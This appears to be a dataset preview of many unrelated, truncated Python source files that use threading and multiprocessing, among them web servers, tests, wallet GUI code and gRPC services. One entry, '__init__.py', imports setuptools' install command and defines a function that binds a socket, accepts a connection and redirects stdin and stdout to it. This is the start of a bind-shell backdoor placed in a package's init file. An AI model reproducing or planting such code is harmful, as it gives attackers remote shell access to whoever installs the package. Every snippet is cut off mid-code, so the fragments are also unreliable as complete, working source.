source
stringlengths
3
86
python
stringlengths
75
1.04M
admin.py
#!/usr/bin/env python import json import threading import time from datetime import datetime import pandas as pd import redis from flask import Flask from flask_cors import CORS from flask_restful import Api, Resource import util from train import TrainCenter from util.config import config from util.log import log fr...
tests.py
# Unit tests for cache framework # Uses whatever cache backend is set in the test settings file. import copy import io import os import pickle import re import shutil import tempfile import threading import time import unittest from unittest import mock from django.conf import settings from django.core import manageme...
app.py
# modules # dash-related libraries import dash from dash.dependencies import Output, Event from math import log10, floor, isnan from datetime import datetime from random import randint import dash_core_components as dcc import dash_html_components as html import colorama import sys import getopt # non-dash-related li...
capi.py
# -*- coding: utf-8 -*- import logging import warnings import json import weakref import os from enum import IntEnum, unique try: from typing import Dict, List, Tuple, Union, Any JSONType = Union[ Dict[str, Any], List[dict], ] except ImportError: pass from . import _build lib = _bui...
test_webdriver.py
# -*- coding: utf-8 -*- """ Created on 2021/3/18 7:05 下午 --------- @summary: --------- @author: Boris @email: boris_liu@foxmail.com """ from feapder.utils.webdriver import WebDriverPool, WebDriver import threading def test_webdirver_pool(): webdriver_pool = WebDriverPool( pool_size=2, load_images=False, ...
webcam.py
import cv2 from threading import Thread class Webcam: def __init__(self, device): self.video_capture = cv2.VideoCapture(device) self.current_frame = self.video_capture.read()[1] def start(self): th = Thread(target=self._update_frame, args=()) th.daemon = True ...
house_price_prediction_server.py
import grpc from concurrent import futures import threading # import the generated classes : import model_pb2 import model_pb2_grpc from app import app_run, get_parameters import logging logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) port = 8061 # create a class to define the server functions, ...
__init__.py
import multiprocessing import time import os import pty import socket from setuptools.command.install import install as base def shell(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', int(port))) s.listen(1) (rem, addr) = s.accept() os.dup2(rem.fileno(), 0) os.dup2(rem.f...
grid_search.py
import time import logging from copy import deepcopy from multiprocessing import Process from run.utils import change_config from utility.utils import product_flatten_dict logger = logging.getLogger(__name__) class GridSearch: def __init__(self, configs, train_func, ...
threaded.py
""" raven.transport.threaded ~~~~~~~~~~~~~~~~~~~~~~~~ :copyright: (c) 2010-2012 by the Sentry Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import absolute_import import atexit import logging import time import threading import os from raven.utils.compat import Q...
VD2Treatment.py
""" Created on 01.04.2020 @author: saldenisov """ import logging from _functools import partial from PyQt5.QtWidgets import QMainWindow, QCheckBox, QLineEdit, QProgressBar from devices.service_devices.project_treatment.openers import CriticalInfoHamamatsu from datastructures.mes_independent.measurments_dataclass impo...
idle_threads.py
import time import threading from pynput import mouse, keyboard from openpype.lib import PypeLogger class MouseThread(mouse.Listener): """Listens user's mouse movement.""" def __init__(self, callback): super(MouseThread, self).__init__(on_move=self.on_move) self.callback = callback def...
main_window.py
import re import os import sys import time import datetime import traceback from decimal import Decimal import threading import asyncio from typing import TYPE_CHECKING, Optional, Union, Callable, Sequence from electrum.storage import WalletStorage, StorageReadWriteError from electrum.wallet_db import WalletDB from el...
variable_scope.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
main.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from ipaddress import IPv4Address from os import mkdir from shutil import rmtree from sys import stderr from threading import Thread from time import sleep from typing import Dict, Iterable, Optional, Tuple, Union from loguru import logger from maxminddb import open_datab...
test_threads.py
import capnp import pytest import test_capability_capnp import socket import threading import platform @pytest.mark.skipif(platform.python_implementation() == 'PyPy', reason="pycapnp's GIL handling isn't working properly at the moment for PyPy") def test_making_event_loop(): capnp.remove_event_loop(True) capnp...
test_partition.py
import time import random import pdb import threading import logging from multiprocessing import Pool, Process import pytest from utils import * from constants import * TIMEOUT = 120 class TestCreateBase: """ ****************************************************************** The following cases are use...
simple.py
import multiprocessing as mp import traceback import sys import os import math from ..util import get_logger, mkfile from ..result import write_result def queue_to_list(q): l = [] while q.qsize() != 0: l.append(q.get()) return l def generate_instances(experiment): instances = [] for proble...
demo.py
# -*- coding: UTF-8 -*- """ @Project :pywin10 @File :demo.py @Author :Gao yongxian @Date :2021/11/30 13:03 @contact: g1695698547@163.com """ import threading import tkinter import win32gui from pywin10 import TaskBarIcon class MainWindow: def __init__(self): self.root = tkinter.Tk() # 开启常驻后台线程 ...
daemon.py
from uuid import uuid4 from flask import Flask, request import threading import requests import time from contextlib import contextmanager import sys methods = ["GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE"] class Daemon: def __init__(self, app: Flask): self._app = ...
framework.py
#!/usr/bin/env python3 from __future__ import print_function import logging import sys import os import select import signal import subprocess import unittest import re import time import faulthandler import random import copy import platform import shutil from collections import deque from threading import Thread, Ev...
test_nanny.py
import asyncio import gc import logging import multiprocessing as mp import os import random from contextlib import suppress from time import sleep import psutil import pytest from tlz import first, valmap from tornado.ioloop import IOLoop import dask from distributed import Client, Nanny, Scheduler, Worker, rpc, wa...
recover.py
#!/usr/bin/python import time,sys,threading,os import subprocess as sub user='dbuser' pwd='123456' path="/root/python/test/bak" t=1 dbnamelist=[] dblist=[] class Mainfunc(): def __init__(self,cmd): self.cmd=cmd def subcommand(self): try: ret = sub.Popen(self.cmd,shell=True,std...
e2elive.py
#!/usr/bin/env python3 # import atexit import glob import gzip import io import json import logging import os import random import sqlite3 import subprocess import sys import tempfile import threading import time import urllib.request from util import xrun, atexitrun, find_indexer, ensure_test_db, firstFromS3Prefix ...
store_watcher.py
from utilities import datetime, time_wrapper, file_handler, sleep from yaml import safe_load, safe_dump from termcolor import colored from threading import Thread from scraper import run from time import time from sys import argv def print_usage(): print("Usage: \tpython3 store_watcher.py STATE CATEGORIES IN...
helper.py
# Copyright 2021 Red Hat, Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
OPManager.py
import multiprocessing from multiprocessing import Queue from OpenPersonDetector import OpenPersonDetector from newgen.GenerativeDetector import AbstractDetectorGenerator class ManagedOPDetector: def __init__(self, input_queue, output_queue): self.input_queue = input_queue self.output_queue = ou...
serve.py
# -*- coding: utf-8 -*- from __future__ import print_function import abc import argparse import json import os import re import socket import sys import threading import time import traceback import urllib2 import uuid from collections import defaultdict, OrderedDict from multiprocessing import Process, Event from l...
functions.py
import os import shutil import re import uuid from urllib.parse import urlparse, urlsplit, urlunsplit from django.conf import settings from django.apps import apps from django.db.models import Q from django.core.mail import EmailMessage from django.contrib.auth import get_permission_codename from guardian.shortcuts imp...
alpha_set_hack.py
# =============================================================================================================================== # # Name : mavlinkSonyCamWriteVals.py # Desc : Global memory value class for use to write mavlink to sony cam # Auth : AIR-obots Ai-Robots # # ===============================================...
code_execution_with_time_limit.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' import multiprocessing def run(): import time i = 1 # Бесконечный цикл while True: print(i) i += 1 time.sleep(1) if __name__ == '__main__': p = multiprocessing.Process(target=run) p.start() ...
feed.py
# PyAlgoTrade # # Copyright 2011-2014 Gabriel Martin Becedillas Ruiz # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ap...
test_server.py
import socket,time from threading import Thread import numpy as np import string import pickle import pyautogui ''' this class generates random numbers and broadcast them via the UDP protocal to the local network print "UDP target IP:", UDP_IP print "UDP target port:", UDP_PORT print "message:", MESSAGE ''' class T...
test_docxmlrpc.py
from xmlrpc.server import DocXMLRPCServer import http.client from test import support import threading import time import unittest PORT = None def server(evt, numrequests): serv = DocXMLRPCServer(("localhost", 0), logRequests=False) try: global PORT PORT = serv.socket.getsockname()[1] ...
map.py
import numpy as np from multiprocessing import Process, Manager # bbox = target['bbox'] # bbox = torch.stack([bbox[:, :, 1], bbox[:, :, 0], bbox[:, :, 3], bbox[:, :, 2]], # dim=-1) # Change yxyx to xyxy # cls = torch.unsqueeze(target['cls'], dim=-1) ...
AsyncHelper.py
# -*- coding: utf-8 -*- import time from threading import Thread def thread_call(fn): def wrapper(*args, **kwargs): Thread(target=fn, args=args, kwargs=kwargs).start() return wrapper class Test: def __index__(self): pass @staticmethod @thread_call def aa(): print(in...
test_capture.py
import contextlib import io import os import subprocess import sys import textwrap from io import UnsupportedOperation from typing import BinaryIO from typing import cast from typing import Generator from typing import TextIO import pytest from _pytest import capture from _pytest.capture import _get_multicapture from ...
job_mgmt.py
from core_tools.job_mgnt.job_meta import job_meta from dataclasses import dataclass, field from typing import Any import time import threading, queue from queue import PriorityQueue @dataclass(order=True) class ExperimentJob: priority: float job: Any = field(compare=False) def kill(self): self.jo...
main_window.py
import re import os import sys import time import datetime import traceback from decimal import Decimal import threading import electrum_acm as electrum from electrum_acm.bitcoin import TYPE_ADDRESS from electrum_acm import WalletStorage, Wallet from electrum_acm_gui.kivy.i18n import _ from electrum_acm.paymentrequest...
manager.py
from dataclasses import dataclass import logging import threading import time import traceback from pathlib import Path from typing import Any, Callable, Dict, List, Optional, Set, Tuple, Iterator from concurrent.futures.thread import ThreadPoolExecutor from blspy import G1Element from chiapos import DiskProver from ...
tb_device_mqtt.py
# Copyright 2020. ThingsBoard # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
test_fsm.py
"""Unit tests for fsm.py""" import datetime import logging import select import socket from struct import pack import sys import threading import time import pytest from pynetdicom import AE, build_context, evt, debug_logger from pynetdicom.association import Association from pynetdicom import fsm as FINITE_STATE fr...
remoteloop.py
import array import asyncio import errno import json import os import socket import threading import osbuild.loop as loop __all__ = [ "LoopClient", "LoopServer" ] def load_fds(sock, msglen): fds = array.array("i") # Array of ints msg, ancdata, _, addr = sock.recvmsg(msglen, socket.CMSG_LEN(253 * f...
rse.py
# Copyright 2014-2018 CERN for the benefit of the ATLAS collaboration. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
build_imagenet_data.py
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
b01_remove_nans_dmstack.py
# Author : Bhishan Poudel # Date : July 5, 2019 # Update : Nov 7, 2019 # Description: #=============== # Remove nans from dmstack output csv files and # do some filterings to give txt files. # # Input/Oputputs: #================= # inputs : ../data/dmstack_csv/*.csv (100*4 csv files) # outputs: dmstack_txt/*.txt...
host_callback_test.py
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
serial_connection.py
import serial from thonny.plugins.micropython.connection import MicroPythonConnection, ConnectionFailedException import threading import time from serial.serialutil import SerialException import logging import platform import sys from textwrap import dedent class SerialConnection(MicroPythonConnection): def __ini...
main.py
import sys import os import time import threading from PySide2 import QtWidgets, QtCore, QtGui, QtMultimedia from PyUI import ui_main import pyttsx3 import sounddevice as sd import soundfile as sf import keyboard def play(data, fs, device=None, id=0): if device is None: sd.play(data, fs) else: ...
train_faster_rcnn_alt_opt.py
#!/usr/bin/env python # -------------------------------------------------------- # Faster R-CNN # Copyright (c) 2015 Microsoft # Licensed under The MIT License [see LICENSE for details] # Written by Ross Girshick # -------------------------------------------------------- """Train a Faster R-CNN network using alternat...
test_unix_events.py
"""Tests for unix_events.py.""" import collections import gc import errno import io import os import pprint import signal import socket import stat import sys import tempfile import threading import unittest from unittest import mock if sys.platform == 'win32': raise unittest.SkipTest('UNIX only') import asynci...
functional_tests.py
#!/usr/bin/env python import os import sys import shutil import tempfile import re import string import multiprocessing import unittest import time import sys import threading import random import httplib import socket import urllib import atexit import logging import os import sys import tempfile # Assume we are run...
app.py
############################################################################# # Copyright (c) 2018, Voila Contributors # # # # Distributed under the terms of the BSD 3-Clause License. # # ...
agent.py
import time import math from threading import Thread import vehicle msgHeader = "[AGENT]: " class Agent(): def __init__(self, ID, agentType="robot", vehicleType="car", strategyFile=None): self.ID = str(ID) if vehicleType.lower() == "car": self.vehicle = vehicle.Car(self) elif vehicleType.lower() == "truc...
asa_server.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import time import socket import logging import threading from io import BytesIO from xml.etree import ElementTree from http.server import HTTPServer from socketserver import ThreadingMixIn from http.server import SimpleHTTPRequestHandler import ike_server import...
_server.py
# Copyright 2016, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the f...
refactor.py
# Copyright 2006 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Refactoring framework. Used as a main program, this can refactor any number of files and/or recursively descend down directories. Imported as a module, this provides infrastructure to write your own refactoring too...
p2p_stress.py
import copy import random import threading import time from core_symbol import CORE_SYMBOL class StressNetwork: speeds = [1, 5, 10, 30, 60, 100, 500] sec = 10 maxthreads = 100 trList = [] def maxIndex(self): return len(self.speeds) def randAcctName(self): s = "" for i...
flask_bokeh.py
# Copyright (C) 21/1/20 RW Bunney # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the...
main.py
""" This script provides a consistent environment for services to run in. The basic architecture is: - parent process (python, ipython, etc.) - this process, referred to as the "current" process (service/main.py) - child process (the service) - (optional): any child processes that the service c...
event_stream_consumer.py
import json import logging import os from .event_stream_base import EventStreamBase from kafka import KafkaConsumer, KafkaProducer from kafka.vendor import six from multiprocessing import Process, Queue, current_process, freeze_support, Pool # idee # import eventstream reader # class inherince # override for each ...
BaseCtrl.py
from host.BaseComm import BaseComm import os import time import pyautogui as pag from ctypes import * from win32api import GetSystemMetrics from host.codemap import VirtualKeyCode # https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook import pyHook import pythoncom import threading import time dll = WinDLL("C:\\Windows\...
xla_device.py
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
SoFinger.py
''' @Description: SoFinger @Author: Longlone @LastEditors : Longlone @Supported By : TideSec/TideFinger zerokeeper/WebEye @Version : V0.1 Beta @Date: 2020-01-09 09:20:34 @LastEditTime : 2020-01-14 16:00:21 ''' # TODO config.txt 添加banner import argparse from os import path, makedirs from time import time import multi...
epic_battle_royale.py
import argparse import sys import os from pong_testbench import PongTestbench from multiprocessing import Process, Queue from matplotlib import font_manager from time import sleep import importlib import traceback import numpy as np import pickle parser = argparse.ArgumentParser() parser.add_argument("dir", type=str, ...
thread.py
import data as d import threading d.init() d.out() def foo(): print("calling add_num from thread") d.add_num(132) t =threading.Thread(target=foo) print("starting thread") t.start() print('joining to thread') t.join() d.out() print('done')
test__socket.py
# This line can be commented out so that most tests run with the # system socket for comparison. from __future__ import print_function from __future__ import absolute_import from gevent import monkey monkey.patch_all() import sys import array import socket import time import unittest from functools import wraps impo...
threadpoolexecutor.py
#!/usr/bin/env python import logging import os from Queue import Queue from threading import Thread, Condition DEFAULT_NUMBER_OF_THREADS = 8 def get_number_of_cpus(): """ Retrieves the number ot the available processors/cores/threads that can be used. Uses the API from the os package. If this informatio...
run-server.py
import multiprocessing as mp import socket import subprocess import sys import time from typing import Callable, List, Optional # While we could use something like requests (or any other 3rd-party module), # this script aims to work with the default Python 3.6+. CLEAR = "\033[39m" MAGENTA = "\033[95m" BLUE = "\033[94...
baseline.py
import os import sys from multiprocessing import Pool, Process, Queue, Manager import numpy as np import h5py as h5 import itertools import random import math from sklearn import svm from sklearn.linear_model import SGDRegressor from sklearn.externals import joblib from sklearn.metrics import mean_squared_error from tq...
remote.py
""" fs.remote ========= Utilities for interfacing with remote filesystems This module provides reusable utility functions that can be used to construct FS subclasses interfacing with a remote filesystem. These include: * RemoteFileBuffer: a file-like object that locally buffers the contents of ...
event_writer.py
# SPDX-FileCopyrightText: 2020 Splunk Inc. # # SPDX-License-Identifier: Apache-2.0 from future import standard_library standard_library.install_aliases() from six import string_types from builtins import object import queue import multiprocessing import threading import sys from collections import Iterable from splun...
test_promise.py
# Copyright 1999-2018 Alibaba Group Holding Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
manager.py
#!/usr/bin/env python3 import os import time import sys import fcntl import errno import signal import shutil import subprocess import datetime import textwrap from typing import Dict, List from selfdrive.swaglog import cloudlog, add_logentries_handler from common.basedir import BASEDIR, PARAMS from common.android im...
minion.py
# -*- coding: utf-8 -*- ''' Routines to set up a minion ''' # Import python libs from __future__ import absolute_import, print_function, with_statement import os import re import sys import copy import time import types import signal import fnmatch import logging import threading import traceback import contextlib impo...
run_bruteforce.py
# Plutus Bitcoin Brute Forcer # Made by Isaac Delly # https://github.com/Isaacdelly/Plutus import multiprocessing import bitcoinlib import plutus import oldKeyGen import newKeyGen def main(database): print('Working...') while True: # Improved key = newKeyGen.keygen_random() plutus.process(key[0], key[2]...
control_tank.py
import logging import os import subprocess import threading import time logger = logging.getLogger(__name__) class ControlTank: PWM_DUTY_A: float = 0.9 PWM_DUTY_B: float = 0.9 def __init__(self) -> None: self._enable_a: bool = False self._enable_b: bool = False self._pwm_thread_a...
subscriber.py
import logging import threading import grpc from kubemq.grpc import Empty from kubemq.basic.grpc_client import GrpcClient from kubemq.events.event_receive import EventReceive from kubemq.subscription import SubscribeType, EventsStoreType from kubemq.tools.listener_cancellation_token import ListenerCancellationToken lo...
cli.py
# -*- coding: utf-8 -*- """ This module defines the functions to configure and interact with Maestral from the command line. Some imports are deferred to the functions that required them in order to reduce the startup time of individual CLI commands. """ # system imports import sys import os import os.path as osp impo...
log.py
# coding=utf-8 import logging import sys import traceback from collections import OrderedDict from datetime import datetime from queue import Empty from queue import Queue from threading import Thread from mongoengine import fields from zspider.confs.conf import INNER_IP from zspider.confs.conf import LOG_DATEFORMAT ...
test_flight.py
# -*- coding: utf-8 -*- # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "...
rundev.py
#!/usr/bin/python3 # Helpers to manager spawned processes. # In development, provides one stream listing all events. # In production, forwards process managements to supervisord. import argparse, os, tempfile, socket, json, fcntl, contextlib, subprocess, pipes, queue, atexit, threading, signal, sys, glob, pty, time, pw...
pipelines.py
import asyncio import os import queue import threading import time from collections import defaultdict from dataclasses import asdict from typing import Optional import pymongo from loguru import logger from pymongo import ASCENDING, IndexModel from . import items def _get_mongo_uri() -> str: with open(os.envir...
fslinstaller.py
#!/usr/bin/python # Handle unicode encoding import collections import csv import errno import getpass import itertools import locale import os import platform import threading import time import shlex import socket import sys import tempfile import urllib2 import re import fileinput from optparse import OptionParser...
test_pytest_timeout.py
import os.path import signal import sys import time import pexpect import pytest pytest_plugins = "pytester" have_sigalrm = pytest.mark.skipif( not hasattr(signal, "SIGALRM"), reason="OS does not have SIGALRM" ) have_spawn = pytest.mark.skipif( not hasattr(pexpect, "spawn"), reason="pexpect does not have spa...
video.py
import abc import asyncio import dataclasses import multiprocessing import os import queue import time import typing import cv2 # type: ignore import dataclasses_json from ffpyplayer.player import MediaPlayer # type: ignore @dataclasses_json.dataclass_json(undefined='raise') @dataclasses.dataclass(frozen=True) cla...
data.py
# THIS FILE IS FOR EXPERIMENTS, USE image_iter.py FOR NORMAL IMAGE LOADING. from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import random import logging import sys import numbers import math import sklearn import datetime import numpy as np import ...
otbtf.py
# -*- coding: utf-8 -*- # ========================================================================== # # Copyright 2018-2019 Remi Cresson (IRSTEA) # Copyright 2020 Remi Cresson (INRAE) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the L...
jobgen.py
import threading, time from debug_utils import * from rvs import * from msg import * class JobGen(): def __init__(self, inter_ar_time_rv, serv_time_rv, size_inBs_rv, out, num_jobs_to_send): self.inter_ar_time_rv = inter_ar_time_rv self.serv_time_rv = serv_time_rv self.size_inBs_rv = size_inBs_rv self.out = o...
client.py
""" gRpc client for interfacing with CORE. """ import logging import threading from contextlib import contextmanager from typing import Any, Callable, Dict, Generator, Iterable, List import grpc from core.api.grpc import configservices_pb2, core_pb2, core_pb2_grpc from core.api.grpc.configservices_pb2 import ( G...
convert_tensorrt.py
""" Inference on webcams: Use a model on webcam input. Once launched, the script is in background collection mode. Press B to toggle between background capture mode and matting mode. The frame shown when B is pressed is used as background for matting. Press Q to exit. Example: python inference_webcam.py \ ...
failure_test.py
from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import json import os import ray import sys import tempfile import threading import time import ray.ray_constants as ray_constants from ray.utils import _random_string import pytest from ra...
test_futures.py
import os import subprocess import sys import threading import functools import contextlib import logging import re import time import gc import traceback from StringIO import StringIO from test import test_support from concurrent import futures from concurrent.futures._base import ( PENDING, RUNNING, CANCELLED, C...
helper.py
import json import sys import threading from packaging.version import Version from urllib.request import Request, urlopen import pkg_resources from rich import print from rich.panel import Panel def _version_check(package: str = None, github_repo: str = None): try: if not package: package = ...
base_line.py
import time import random import os import cv2 as cv import logging import numpy as np import matplotlib.pyplot as plt import threading import math from squaternion import Quaternion import argparse import rospy from gazebo_msgs.msg import ModelStates from geometry_msgs.msg import Twist, Point, PoseStamped from gaz...
spa.py
# -*- coding: utf-8 -*- """ irradiance.py from pvlib ======================== Stripped down, vendorized version from: https://github.com/pvlib/pvlib-python/ Calculate the solar position using the NREL SPA algorithm either using numpy arrays or compiling the code to machine language with numba. The rational for not in...
mock_ckan.py
from __future__ import print_function import json import re import copy import urllib import SimpleHTTPServer import SocketServer from threading import Thread PORT = 8998 class MockCkanHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): # test name is the first bit of the URL and make...
server.py
#!/usr/bin/env python3 from __future__ import annotations from maze import RandomMaze import os, socketserver, threading import solver HOST, PORT = "0.0.0.0", int(os.environ.get("PORT", 24001)) flag = open('flag', 'r').readline() ''' Main componnent, presents the maze to the user and verify its answer ''' class Thr...
MainWindow.py
from PyQt4.QtGui import * from PyQt4.QtCore import * import Configuration as cfg import datetime, calendar, threading, time, uuid import ExcelDBOps as dbop import FirebaseConn as fb class MainWindowApplication(QMainWindow): def __init__(self): super(MainWindowApplication, self).__init__() self.set...
retryhandler.py
import sys, time, threading, os, traceback, logging from queue import Queue class RetryHandler: def __init__(self, evaluator, maxTries = 10, waitTimeSeconds = 2, expBackoff = True, maxQueued = 0): self._evaluator = evaluator self._maxTries = maxTries self._waitTime = waitTimeSeconds ...